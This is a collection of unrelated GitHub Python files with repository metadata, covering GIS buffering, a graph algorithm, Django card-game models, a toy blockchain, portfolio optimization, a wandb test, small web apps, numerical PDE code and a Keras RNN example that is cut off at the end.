+{"seq_id":"29943862958","text":"import arcpy \r\n\r\n\"\"\"\r\n\tThe following is the buffer tool script, where the first argumentis the input feature,\r\n\tthe second argument is the output feature, and the third argument is the buffer distance\r\n\"\"\"\r\ninputFC = arcpy.GetParameterAsText(0)\r\narcpy.AddMessage('-------Input Feature: ' + inputFC)\r\noutputFC = arcpy.GetParameterAsText(1)\r\narcpy.AddMessage('-------Output Feature: ' + outputFC)\r\nbufferDist = arcpy.GetParameterAsText(2)\r\narcpy.AddMessage('-------Buffer Distance: ' + bufferDist)\r\n\r\n# perform buffer analysis\r\narcpy.Buffer_analysis(inputFC, outputFC, bufferDist)\r\narcpy.AddMessage(\"Finished Successfully\")","repo_name":"stccenter/book-reference-code","sub_path":"9/Code 9.25.py","file_name":"Code 9.25.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"}
+{"seq_id":"35323306189","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\nwhile True:\r\n case = input()\r\n if case == '0' or case == '0\\n':\r\n break\r\n \r\n spots, paths = [int(e) for e in case.split()]\r\n\r\n # Set all the pathways\r\n connections = [[] for a in range(spots + 1)]\r\n for path in range(paths):\r\n start, end, dist = [int(e) for e in input().split()]\r\n connections[start].append([end, dist])\r\n connections[end].append([start, dist])\r\n \r\n # Get Through\r\n shortestPaths = [[None, -1] for a in range(spots + 1)]\r\n shortestPaths[1] = [-1, -1]\r\n locations = [[1, 0]] #Location, cost\r\n\r\n while len(locations) > 0:\r\n newList = []\r\n for spot in locations:\r\n for pathway in connections[spot[0]]:\r\n newPos, newCost = [pathway[0], spot[1] + pathway[1]]\r\n if shortestPaths[newPos][0] == None or newCost <= shortestPaths[newPos][0]:\r\n shortestPaths[newPos] = [newCost, newCost == shortestPaths[newPos][0] and shortestPaths[newPos][1] + 1 or 1]\r\n newList.append([newPos, newCost])\r\n\r\n locations = newList\r\n\r\n print(shortestPaths[2][1])","repo_name":"Noor-Nasri/Contest-Solutions","sub_path":"Qualifier/Forest.py","file_name":"Forest.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"11200905973","text":"from django.db import models\n\nclass Game(models.Model):\n\n class Meta:\n db_table = 'game'\n app_label = 'cardtel'\n\n current_turn = models.ForeignKey(\n 'cardtel.Player',\n related_name='pending_moves',\n null=True,\n )\n last_to_play_card = models.ForeignKey(\n 'cardtel.Player',\n related_name='unanswered_moves',\n null=True,\n )\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n winning_score = models.IntegerField(default=7)\n\n ## Related Fields\n # players - all players participating in this game\n # tables - All tables associated with a game\n\n @property\n def is_over(self):\n raise NotImplementedError\n\n @property\n def hand_is_over(self):\n raise NotImplementedError\n\n @property\n def point_is_over(self):\n raise NotImplementedError\n\n def __unicode__(self):\n return \"{} players, created at {}\".format(self.players.count(), self.created_at)\n\n\nclass Point(models.Model):\n\n class Meta:\n db_table = 'point'\n app_label = 'cardtel'\n\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n winner = models.ForeignKey(\n 'cardtel.Player',\n related_name='points',\n )\n winning_cards = models.ManyToManyField(\n 'cardtel.Card',\n related_name='winning_hands'\n )\n\n\nclass Player(models.Model):\n\n class Meta:\n db_table = 'player'\n app_label = 'cardtel'\n unique_together = ('game', 'user')\n\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n game = models.ForeignKey(\n 'cardtel.Game',\n db_index=True,\n related_name='players',\n )\n user = models.ForeignKey(\n 'cardtel.User',\n db_index=True,\n related_name='players'\n )\n score = models.IntegerField(default=0)\n cards = models.ManyToManyField('cardtel.Card', through='cardtel.PlayerCardLink')\n has_folded = models.BooleanField(default=False)\n play_order = models.IntegerField()\n\n ## Related Fields\n # points - All pointed in which this player was the winner\n # pending_moves - games where it's this player's turn\n # unanswered_moves - games where this player was the last to play\n\n def __unicode__(self):\n return self.user.username\n\n\nclass Card(models.Model):\n\n class Meta:\n db_table = 'card'\n app_label = 'cardtel'\n\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n suit = models.CharField(max_length=1)\n number = models.CharField(max_length=1)\n image = models.FileField()\n\n def __unicode__(self):\n return \"{} of {}\".format(self.number, self.suit)\n\nclass Table(models.Model):\n\n class Meta:\n db_table = 'table'\n app_label = 'cardtel'\n\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n game = models.ForeignKey(\n 'cardtel.Game',\n related_name='tables'\n )\n\n cards = models.ManyToManyField('cardtel.Card')\n best_hand_score = models.IntegerField(null=True)\n\n def __unicode__(self):\n return \"for game {}\".format(self.game.id)\n\nclass PlayerCardLink(models.Model):\n\n class Meta:\n db_table = 'player_card_link'\n app_label = 'cardtel'\n unique_together = ('player', 'card')\n\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n player = models.ForeignKey(\n 'cardtel.Player',\n db_index=True,\n )\n card = models.ForeignKey(\n 'cardtel.Card',\n db_index=True,\n )\n\n def __unicode__(self):\n return \"{}, {}\".format(self.player, self.card)\n\nclass User(models.Model):\n\n class Meta:\n db_table = 'user'\n app_label = 'cardtel'\n\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n username = models.CharField(max_length=20)\n score = models.IntegerField(default=0)\n\n ## Related Fields\n # players - games this user is participating in\n\n def __unicode__(self):\n return username\n","repo_name":"bweems23/cardtel","sub_path":"cardtel/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"2092937327","text":"from block import Block\n\n\nclass Blockchain(object):\n def __init__(self):\n self.chain = []\n self.create_genesis_block()\n\n def create_genesis_block(self):\n genesis_block = Block(0, 0, 0, 0, 2, [])\n self.chain.append(genesis_block)\n\n @staticmethod\n def from_list(data_chain):\n blockchain = Blockchain()\n blockchain.chain = []\n\n for data_block in data_chain:\n block = Block.from_dict(data_block)\n blockchain.chain.append(block)\n\n return blockchain\n\n def make_json(self):\n chain_data = []\n\n for block in self.chain:\n chain_data.append(block.__dict__)\n \n return chain_data\n\n @staticmethod\n def proof_of_work(block):\n difficult = block.difficult\n block.nonce = 0\n\n hash = block.compute_hash()\n\n while not hash.startswith('0'*difficult):\n block.nonce += 1\n hash = block.compute_hash()\n\n return hash\n\n def get_last_block(self):\n return self.chain[-1]\n\n @staticmethod\n def is_valid_block(block, previous_block):\n difficult = block.difficult\n\n if block.index - previous_block.index != 1:\n print(\"index error\")\n return False\n elif previous_block.compute_hash() != block.previous_hash:\n print(\"chain error\")\n return False\n elif not block.compute_hash().startswith('0'*difficult):\n print(\"invalid proof of work\")\n return False\n elif block.timestamp <= previous_block.timestamp:\n # print(block.block_header.timestamp)\n # print(previous_block.block_header.timestamp)\n print(\"cannot chain 2 block same time\")\n return False\n\n return True\n\n def add_block(self, block):\n previous_block = self.get_last_block()\n\n if self.is_valid_block(block, previous_block):\n self.chain.append(block)\n return True\n else:\n return False\n\n def is_valid_chain(self):\n \"\"\"\n Check if given blockchain is valid\n \"\"\"\n previous_block = self.chain[0]\n current_index = 1\n\n while current_index < len(self.chain):\n\n block = self.chain[current_index]\n\n if not self.is_valid_block(block, previous_block):\n return False\n\n previous_block = block\n current_index += 1\n\n return True\n","repo_name":"ManHieu/simple_blockchain","sub_path":"blockchain.py","file_name":"blockchain.py","file_ext":"py","file_size_in_byte":2458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"37795897766","text":"\"\"\"\nCourse: CS-3860\nAuthor: Nigel Nelson\nLab: 5\nDate: 10/18/21\n\"\"\"\nimport mysql.connector\nimport numpy as np\nimport itertools as iter\n\n\ndef simulation(cursor, ticker_allocations):\n \"\"\"\n Simulates the results of the stock market if certain\n allocations are granted to specified stock ticker names\n :param cursor: SQLCursor instance\n :param ticker_allocations: Dictionary where the key is the ticker, and the\n value is the allocation of the portfolio out of 1.0\n :return: std, avg, sharpe ration, overall_return\n \"\"\"\n allocation_sum = 0\n for key, value in ticker_allocations.items():\n if(value < 0):\n raise ValueError(\"Allocation must be greater than 0\")\n allocation_sum += value\n if allocation_sum != 1:\n raise ValueError(\"Portfolio allocations must sum to be equal to 1\")\n update_values(cursor, ticker_allocations)\n cumulative_portfolio_return(cursor)\n return calculate_sharpe(cursor)\n\n\ndef update_values(cursor, ticker_allocations):\n \"\"\"\n Updates the values of given stocks in the connected database\n :param cursor: SQLCursor instance\n :param ticker_allocations: Dictionary where the key is the ticker, and the\n value is the allocation of the portfolio out of 1.0\n :return: N/A\n \"\"\"\n for key, value in ticker_allocations.items():\n query = f\"Update portfolio set {key}_value = {value}*{key}_cumulative_return;\"\n cursor.execute(query)\n\n port_value_query = f\"Update portfolio set portfolio_value = \"\n for key, value in ticker_allocations.items():\n port_value_query += f\"{key}_value +\"\n cursor.execute(port_value_query[:-1])\n\n\ndef calculate_sharpe(cursor):\n \"\"\"\n Calculates the standard deviation, average, overall return, and\n sharpe ration of the connected portfolio\n :param cursor: SQLCursor instance\n :return: std, avg, sharpe ration, overall_return\n \"\"\"\n cursor.execute(\"select portfolio_cumulative_return from portfolio\")\n cumulative_return = cursor.fetchall()\n cursor.execute(\"select spy_cumulative_return from portfolio\")\n spy_cumulative_return = cursor.fetchall()\n\n avg = np.average(cumulative_return)\n std = np.std(cumulative_return)\n sharpe_avg = np.average(np.array(cumulative_return) - np.array(spy_cumulative_return))\n sharpe_std = np.std(np.array(cumulative_return) - np.array(spy_cumulative_return))\n sharpe = ((len(cumulative_return)**(1/2)) * sharpe_avg) / sharpe_std\n overall_return = (cumulative_return[-1][0] - cumulative_return[0][0]) / cumulative_return[0][0]\n return std, avg, sharpe, overall_return\n\n\ndef cumulative_portfolio_return(cursor):\n \"\"\"\n Updates the connected portfolio's portfolio_cumulative_return attribute\n :param cursor: SQLCursor instance\n :return: N/A\n \"\"\"\n value_query = \"update portfolio set portfolio_cumulative_return = portfolio_value/1\"\n cursor.execute(value_query)\n\n\ndef optimization(cursor, ticker_names):\n \"\"\"\n Finds the allocations out of 1 for the provided ticker_names that\n results in the highest Sharpe ratio\n :param cursor: SQLCursor instance\n :param ticker_names: List of ticker names\n :return: Dictionary with highest Sharpe Ratio where the key is the ticker,\n and the value is the allocation of the portfolio out of 1.0 as well as a\n list of the resulting std, avg, sharpe ration, and overall_return\n \"\"\"\n combinations = np.array(list(iter.product(range(0, 11), repeat=4)))/10\n mask = np.sum(combinations, axis=1) == 1\n combinations = combinations[mask]\n\n max_sharpe = 0\n ticker_allocations = {}\n best_allocations = {}\n\n for comb in combinations:\n for i in range(0, 4):\n ticker_allocations[ticker_names[i]] = comb[i]\n results = simulation(cursor, ticker_allocations)\n if results[2] > max_sharpe:\n max_sharpe = results[2]\n best_allocations = ticker_allocations.copy()\n\n return best_allocations, simulation(cursor, best_allocations)\n\n\ndef main():\n connect = mysql.connector.connect(host=\"localhost\", user=\"root\", password=\"Frohfosho01)\",\n database=\"data_analytics_2020\", autocommit=True)\n cursor = connect.cursor()\n\n ticker_allocations = {\n \"goog\": 0.0,\n \"celg\": 0.9,\n \"nvda\": 0.1,\n \"fb\": 0.0\n }\n\n results = simulation(cursor, ticker_allocations)\n print(\"Weights used: \" + str(ticker_allocations))\n print(\"Daily Returns Standard Deviation: \" + str(results[0]))\n print(\"Daily Returns Average: \" + str(results[1]))\n print(\"Sharpe Ratio: \" + str(results[2]))\n print(\"Overall Return: \" + str(results[3]))\n\n results = optimization(cursor, [\"goog\", \"celg\", \"nvda\", \"fb\"])\n print(\"Weights used: \" + str(results[0]))\n print(\"Daily Returns Standard Deviation: \" + str(results[1][0]))\n print(\"Daily Returns Average: \" + str(results[1][1]))\n print(\"Sharpe Ratio: \" + str(results[1][2]))\n print(\"Overall Return: \" + str(results[1][3]))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"NigelNelson/DataBase_Systems","sub_path":"Lab5/lab5.py","file_name":"lab5.py","file_ext":"py","file_size_in_byte":5038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"25549048558","text":"\"\"\"\nsummary test.\n\"\"\"\n\nimport pytest # type: ignore\n\nfrom wandb import wandb_sdk\nfrom wandb.interface.summary_record import SummaryRecord\n\n# if TYPE_CHECKING:\n# import typing as t\n\n\nclass MockCallback(object):\n # current_dict: t.Dict\n # summary_record: t.Optional[SummaryRecord]\n\n # def __init__(self, current_dict: t.Dict):\n def __init__(self, current_dict):\n self.reset(current_dict)\n\n # def reset(self, current_dict: t.Dict):\n def reset(self, current_dict):\n self.summary_record = None\n self.current_dict = current_dict\n\n # def update_callback(self, summary_record: SummaryRecord):\n def update_callback(self, summary_record):\n self.summary_record = summary_record\n\n def get_current_summary_callback(self):\n return self.current_dict\n\n # def check_updates(self, key: t.Tuple[str], value: t.Any):\n def check_updates(self, key, value):\n assert self.summary_record is not None\n\n for item in self.summary_record.update:\n print(\"item\", item.key, item.value)\n if item.key == key and item.value == value:\n return self\n\n assert False\n\n # def check_removes(self, key: t.Tuple[str]):\n def check_removes(self, key):\n assert self.summary_record is not None\n\n for item in self.summary_record.remove:\n if item.key == key:\n return self\n\n assert False\n\n\n# def create_summary_and_mock(current_dict: t.Dict):\ndef create_summary_and_mock(current_dict):\n m = MockCallback(current_dict)\n s = wandb_sdk.Summary(m.get_current_summary_callback,)\n s._set_update_callback(m.update_callback,)\n\n return s, m\n\n\ndef test_attrib_get():\n s, _ = create_summary_and_mock({\"this\": 2})\n assert s.this == 2\n\n\ndef test_item_get():\n s, _ = create_summary_and_mock({\"this\": 2})\n assert s[\"this\"] == 2\n\n\ndef test_cb_attrib():\n s, m = create_summary_and_mock({})\n s.this = 2\n m.check_updates((\"this\",), 2)\n\n\ndef test_cb_item():\n s, m = create_summary_and_mock({})\n s[\"this\"] = 2\n m.check_updates((\"this\",), 2)\n\n\ndef test_cb_update():\n s, m = create_summary_and_mock({})\n s.update(dict(this=1, that=2))\n m.check_updates((\"this\",), 1)\n m.check_updates((\"that\",), 2)\n\n\ndef test_cb_item_nested():\n s, m = create_summary_and_mock({})\n s[\"this\"] = 2\n m.check_updates((\"this\",), 2)\n\n m.reset({})\n s[\"that\"] = dict(nest1=dict(nest2=4, nest2b=5))\n m.check_updates((\"that\",), dict(nest1=dict(nest2=4, nest2b=5)))\n\n m.reset({\"that\": {\"nest1\": {}}})\n s[\"that\"][\"nest1\"][\"nest2\"] = 3\n m.check_updates((\"that\", \"nest1\", \"nest2\"), 3)\n\n m.reset({\"that\": {}})\n s[\"that\"][\"nest1\"] = 8\n m.check_updates((\"that\", \"nest1\"), 8)\n\n m.reset({\"that\": {}})\n s[\"that\"][\"nest1a\"] = dict(nest2c=9)\n m.check_updates((\"that\", \"nest1a\"), dict(nest2c=9))\n\n\ndef test_cb_delete_item():\n s, m = create_summary_and_mock({\"this\": 3})\n del s[\"this\"]\n m.check_removes((\"this\",))\n\n m.reset({\"this\": {\"nest1\": 2}})\n del s[\"this\"][\"nest1\"]\n m.check_removes((\"this\", \"nest1\"))\n","repo_name":"wandb/client-ng","sub_path":"tests/wandb_summary_test.py","file_name":"wandb_summary_test.py","file_ext":"py","file_size_in_byte":3092,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"61"}
+{"seq_id":"39154708221","text":"from bottle import route, run, default_app, debug,request\n\n\ndef htmlify(title, content):\n page = \"\"\"\n \n \n \"\"\" + title + \"\"\"\n \n \n \n \"\"\" + content + \"\"\"\n \n \"\"\"\n return page\n\n\ndef a3_index():\n return htmlify(\"My lovely website\", \"This is going to be an awesome website, when it is finished.\")\n\n\ndef website_index():\n return htmlify('My lovely homepage',\n \"\"\"\n \n \n
\n \"\"\")\ncomments = [{'Username':'mahmut','comment' : 'Berbat bir sa','points' : '3'},{'Username':'mahmut','comment' : 'Berbat bir sa','points' : '7'}]\ndef home_page():\n html =\"\"\"\n
\n
\n
\n \n \"\"\"\n for person in comments:\n html += person['Username']\n html += person['comment']\n html += person['points']\n x=0\n for range in comments:\n x+=int(range['points'])\n html+=\" \"+str(x)\n total = 0\n #for i in range (0,2):\n # total+=int(comments[i]['points'])\n # html+=\" \"+str(total)\n return htmlify(\"home\",html)\n\ndef get_comment():\n users_name = str(request.GET.get('Username'))\n users_comment = str(request.GET.get('comment'))\n users_range = str(request.GET.get('points'))\n global comments\n comments+=[{'Username':users_name,'comment':users_comment,'points':users_range}]\n html = str(users_name)+str(users_comment)+str(users_range)\n return htmlify(\"comment\",html)\n\n\nroute('/home/news/results','GET',get_comment)\nroute('/home/news','GET',home_page)\nroute('/home/','GET', a3_index)\nroute('/', 'GET', website_index)\n\ndebug(True)\napplication = default_app()\nif __name__ == \"__main__\":\n run()","repo_name":"nurdi21/assignment","sub_path":"bottle_app.py","file_name":"bottle_app.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"3556848645","text":"from math import pow, sqrt, pi, e\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\n\ndef aprox2(i, n):\n p1 = ( B*(1-o) - (o/6)*(pow(o, 2) - 3*o + 2) )*U[i+1][n]\n p2 = ( B*(2 - 3*o) - (o/2)*(pow(o,2) - 2*o - 1) )*U[i][n]\n p3 = ( B*(1-3*o) - (o/2)*(pow(o, 2) - o - 2) )*U[i-1][n]\n p4 = ( B*o + (o/6)*(pow(o, 2) - 1) )*U[i-2][n]\n return U[i][n] + p1 - p2 + p3 + p4\n\n\ndef aprox1(i, n):\n p1 = a*( (U[i+1][n] - 2*U[i][n] + U[i-1][n])/pow(delta_x, 2) )\n p2 = u*( (U[i+1][n] - U[i-1][n])/2*delta_x )\n return delta_t*(p1 - p2) - U[i][n]\n\n\ndef f(x):\n sigma = 0.02\n mu = 0.3\n\n exp = -(1/2)*pow((x-mu)/sigma, 2)\n return pow(e, exp)/(sqrt(2*pi)*sigma)\n\n\ndef g(x):\n return x*(1-x)\n\n\ndef teste(i, j):\n return (U[i-1][j] - 2*U[i][j] + U[i+1][j])*delta_t/pow(delta_x, 2) + U[i][j]\n\nfig = plt.figure()\nax = plt.axes(projection='3d')\n\nn = 10\ndelta_x = 3.2\ndelta_t = 1\nx = [i*delta_x for i in range(n)] # valores de x\nt = [i*delta_t for i in range(n)] # valores de t\n\nu = 3 # velocidade\na = 5 # parametro de difusao\n\no = u*delta_t/delta_x\nB = a*delta_t/pow(delta_x, 2)\nPe = u*delta_x/(2*a)\n\ncourant = (u * delta_t) / (delta_x) #courant deve em teoria ser proximo de 1 pro bagulho ficar legal\npeclet = (courant/2)/(a * delta_t/delta_x**2)\n\nprint('courant:', courant)\nprint('peclet:', peclet)\n\nU = []\nfor _ in range(n):\n U.append([0]*n)\n\nfor i in range(n):\n U[-1][i] = 1\n\n\nfor Tj in range(n-1):\n for Xi in range(1, n-1):\n U[Xi][Tj+1] = aprox1(Xi, Tj)\n\nfor linha in U:\n for item in linha:\n print(round(item, 5), end=\" \")\n print()\nG = np.matrix(U)\nX, T = np.meshgrid(np.arange(G.shape[0]), np.arange(G.shape[1]))\n\nsurf = ax.plot_surface(X, T, G, cmap= 'coolwarm', linewidth=0, antialiased=True)\n#ax.set_zlim(0, 1)\nax.set_xlabel('delta_x')\nax.set_ylabel('delta_t')\nax.set_zlabel('delta_h')\nplt.show()\n","repo_name":"carlos1013/PC02","sub_path":"t2.py","file_name":"t2.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"71273483073","text":"#coding: utf-8\n\n__author__ = 'Toshihiro Kamiya '\n__status__ = 'experimental'\n\nimport contextlib\nimport sys\nimport urllib2\n\nASCII_SYMBOLS_EXCEPT_FOR_PERCENT = \" \\t!\\\"#$&`()*+,-./:;<=>?@[\\\\]^_'{|}~\"\n\ndef readline_iter(filename):\n if filename != '-':\n with open(filename, \"rb\") as f:\n for L in f:\n L = L.decode('utf-8').rstrip().encode('utf-8')\n L = urllib2.quote(L, safe=ASCII_SYMBOLS_EXCEPT_FOR_PERCENT)\n yield L\n else:\n for L in sys.stdin:\n L = L.decode('utf-8').rstrip().encode('utf-8')\n L = urllib2.quote(L, safe=ASCII_SYMBOLS_EXCEPT_FOR_PERCENT)\n yield L\n\ndef sort_uniq(lst):\n lst.sort()\n if len(lst) <= 1:\n return lst\n\n dummy = None if lst[0] is not None else 1\n return [item for item, prev_item in zip(lst, [dummy] + lst) if item != prev_item]\n\n@contextlib.contextmanager\ndef auto_pop(lst):\n original_length = len(lst)\n yield\n lst[:] = lst[:original_length]\n","repo_name":"tos-kamiya/agec2","sub_path":"src/_utilities.py","file_name":"_utilities.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"7723378889","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nimport json as simplejson\nimport sys\nimport logging\n\nfrom django.shortcuts import render_to_response, render, get_object_or_404, redirect\nfrom django.contrib import messages\nfrom django.template import RequestContext\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.urls import reverse\nfrom django.forms.models import model_to_dict\n\nfrom Database.forms import entryForm\nimport Database.constants\n\nfrom Database.models import Entry, Dictionary\n\nlogging.basicConfig(format='%(message)s')\n\n# Create your views here.\n\ndef index(request):\n return render(request, 'Database/index.html')\n\ndef entry_list2(request):\n file = request.FILES['myfile'] # this is my file\n contentOfFile = file.read()\n form = entryForm()\n entries = []\n\n try:\n #print(\"FILE:\", contentOfFile, file=sys.stderr)\n # print >> sys.stderr, \"FILE: \", contentOfFile\n logging.info('File: ', contentOfFile)\n data = simplejson.loads(contentOfFile)\n except ValueError:\n # messages.error(request, \"Something wrong with JSON format\")\n messages.warning(request, 'Wrong JSON format.')\n # return JsonResponse({'status': 'false', 'message': \"didnt parse a correct JSON file\"}, status=500)\n # return render(request, 'Database/index.html')\n return HttpResponseRedirect('/Database/')\n else:\n # contentOfFile.encode('utf-8')\n # print >> sys.stderr, \"data: \", data\n #d = Dictionary.objects.create(language=\"test\")\n #d.save()\n\n for item in data:\n #print >> sys.stderr, \"item: \", item\n logging.info('item: ', item)\n# print >> sys.stderr, item['word']\n e = Entry.objects.create(dictionary=d)\n\n for key in item:\n #print >> sys.stderr, key, \": \", item[key]\n logging.info('key: ', item[key])\n if (key == 'database'):\n d = Entry.objects.get_or_create(pk=item[key])\n e.__setattr__(key,d)\n else:\n e.__setattr__(key,item[key])\n e.get_HFW()\n e.save()\n\n #print >> sys.stderr, e.word\n logging.info( e.word)\n e.refresh_from_db()\n #print >> sys.stderr, e.get_entry()\n logging.info(e.get_entry())\n entries = Entry.objects.filter(dictionary__language='test')\n\n return render(request, 'Database/entry_list.html', {'file': file, 'entries': entries, 'form': form, 'id': d.pk})\n\ndef entry_list(request):\n file = request.FILES['myfile'] # this is my file\n contentOfFile = file.read()\n form = entryForm()\n entries = []\n created = 0\n created_total = 0\n\n try:\n print >> sys.stderr, \"FILE: \", contentOfFile\n data = simplejson.loads(contentOfFile)\n except ValueError:\n # messages.error(request, \"Something wrong with JSON format\")\n messages.warning(request, 'Wrong JSON format.')\n # return JsonResponse({'status': 'false', 'message': \"didnt parse a correct JSON file\"}, status=500)\n # return render(request, 'Database/index.html')\n return HttpResponseRedirect('/Database/')\n else:\n # contentOfFile.encode('utf-8')\n #print >> sys.stderr, \"data: \", data\n logging.info('data:',data)\n #d = Dictionary.objects.create(language=\"test\")\n #d.save()\n\n #print >> sys.stderr, \"first item: \", data[0]\n logging.info(\"first item: \", data[0])\n #print >> sys.stderr, \"first dictionary: \", data[0]['dictionary']\n #(d,created) = Dictionary.objects.get_or_create(id = data[0]['dictionary'])\n all_dicts = Dictionary.objects.all()\n for d in all_dicts:\n d.delete()\n\n d = Dictionary.objects.create()\n #print >> sys.stderr, \"dictionary name: \", d.language\n logging.info(\"dictionary name: \", d.language)\n #print >> sys.stderr, \"Needed to create a new dictionary?: \", created\n logging.info(\"Needed to create a new dictionary?: \", created)\n\n for item in data:\n # print >> sys.stderr, \"item: \", item\n logging.info(sys.stderr, \"item: \", item)\n #print >> sys.stderr, \"item.id: \", item['id']\n # (e,created) = Entry.objects.get_or_create(id = item['id'],dictionary=d)\n e = Entry.objects.create()\n e.dictionary=d\n e.__setattr__('word',item['Word'])\n e.__setattr__('gr',item['gr'])\n e.__setattr__('ph',item['ph'])\n e.__setattr__('CVC',item['CVC'])\n e.save()\n e.get_HFW()\n e.save()\n #print >> sys.stderr, \"created: \", created\n created_total += created\n\n #print >> sys.stderr, \"new entries created: \", created_total\n entries = Entry.objects.filter(dictionary=d.pk)\n #print >> sys.stderr, \"Entries: \", entries\n num_entries = len(entries)\n return render(request, 'Database/entry_list.html',\n {'file': file, 'entries': entries, 'form': form, 'd':d,'id': d.pk, 'num_entries': num_entries})\n\n\ndef post_list(request):\n d = Dictionary.objects.all().first()\n entries = Entry.objects.filter(dictionary=d)\n # e = entries.first()\n # d = Dictionary.objects.get(pk=e.dictionary.pk)\n num_entries = len(entries)\n\n return render(request, 'Database/post_list.html', {'entries': entries, 'd': d, 'id': d.pk, 'num_entries': num_entries})\n\n\n\ndef entry_HFWlist(request):\n d = Dictionary.objects.all().first()\n entries = Entry.objects.filter(dictionary=d, HFW=True)\n num_entries = len(entries)\n\n return render(request, 'Database/entry_HFWlist.html', {'entries': entries, 'd': d, 'id': d.pk, 'num_entries': num_entries})\n\n\ndef entry(request):\n data = {\"word\": \"John\",\"CVC\": \"CVC\",\"gr\": \"J oh n\",\"ph\": \"j O n\"}\n return render(request, 'Database/readit.html', {'file': file, 'data': data})\n# form = entryForm(request.POST or None, initial={'data': data})\n# if form.is_valid():\n # validate and save\n# pass\n\n# template = 'entry.html'\n# context = RequestContext(request, {'form': form})\n# return render_to_response(template, context)\n\n\ndef entry_new(request, pk):\n if request.method == \"POST\":\n form = entryForm(request.POST)\n if form.is_valid():\n entry = form.save(commit=False)\n entry.dictionary = Dictionary.objects.get(id=pk)\n entry.save()\n #print >> sys.stderr, \"saved word: \", entry.word\n return redirect('entry_detail', pk=entry.pk)\n else:\n form = entryForm()\n\n return render(request, 'Database/entry_edit.html', {'form': form})\n\n\n\n\n\n#cat unformatted.json | python -m json.tool > formatted.json\n#simplejson.dump(jin,fout)\n# fout.close()\n\n\n\n\ndef entry_detail(request, pk):\n form = entryForm()\n entry = Entry.objects.get(id=pk)\n return render(request, 'Database/entry_detail.html', {'form': form, 'entry': entry})\n\n\ndef readit(request):\n return None\n\ndef write(request):\n d = Dictionary.objects.all().first()\n # print >> sys.stderr, d\n entries = Entry.objects.filter(dictionary=d)\n # print >> sys.stderr, entries[0].pk\n jsonarray = []\n for e in entries:\n m = model_to_dict(e)\n #print >> sys.stderr, m\n jsonarray.append(m)\n\n #print >> sys.stderr, jsonarray, len(simplejson.dumps(jsonarray))\n\n response = HttpResponse(simplejson.dumps(jsonarray).decode('string_escape'), content_type='application/w')\n response['Content-Length'] = len(simplejson.dumps(jsonarray).decode('string_escape'))\n response['Content-Disposition'] = 'attachment; filename = dictionary.json'\n\n #print >> sys.stderr, response\n return response\n\ndef write2(request):\n d = Dictionary.objects.filter(language='test')\n #print >> sys.stderr, d\n entries = Entry.objects.filter(dictionary=d[0])\n #print >> sys.stderr, entries[0].pk\n jsonarray = []\n for e in entries:\n m = model_to_dict(e)\n #print >> sys.stderr, m\n jsonarray.append(simplejson.dumps(m))\n #print >> sys.stderr, jsonarray\n return render(request,'Database/write.html',{'jsonarray': jsonarray})\n\n\ndef entry_edit(request, pk):\n post = get_object_or_404(Entry, pk=pk)\n if request.method == \"POST\":\n form = entryForm(request.POST, instance=post)\n if form.is_valid():\n entry = form.save(commit=False)\n entry.save()\n return redirect('entry_detail', pk=entry.pk)\n else:\n form = entryForm(instance=post)\n return render(request, 'Database/entry_edit.html', {'form': form})\n","repo_name":"eebyak/CreateInput","sub_path":"Database/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"71890747073","text":"import numpy as np\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import SimpleRNN, Dense\ntrain = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\nwindowSize, X_train, y_train = 3, [], []\nfor index in range(len(train)- windowSize):\n X_train.append(train[index:index+windowSize])\n y_train.append(train[index+windowSize])\nX_train, y_train = np.array(X_train), np.array(y_train)\nX_train = X_train.reshape(len(X_train), 3, 1)\nmodel = Sequential()\nmodel.add(SimpleRNN(20, input_shape=(3, 1), return_sequences=True))\nmodel.add(SimpleRNN(32, return_sequences=True))\nmodel.add(SimpleRNN(16))\nmodel.add(Dense(8, activation='tanh'))\nmodel.add(Dense(1, activation='linear'))\nmodel.compile(optimizer='adam',loss='mse', metrics=['mae'])\nmodel.fit(X_train, y_train, epochs=500)\nmse, mae = model.evaluate(X_train, y_train, verbose=1)\nprint('MSE: %.3f, RMSE: %.3f, MAE: %.3f' % (mse, np.sqrt(mse), mae))\nrow = np.array([[2, 3, 4]])\nrow1 = row.reshape(1, windowSize, 1)\nyhat = model.predict([row1])\nrow2 = np.asarray([2, 3, 4]).reshape((1, windowSize, 1))\nyhat = 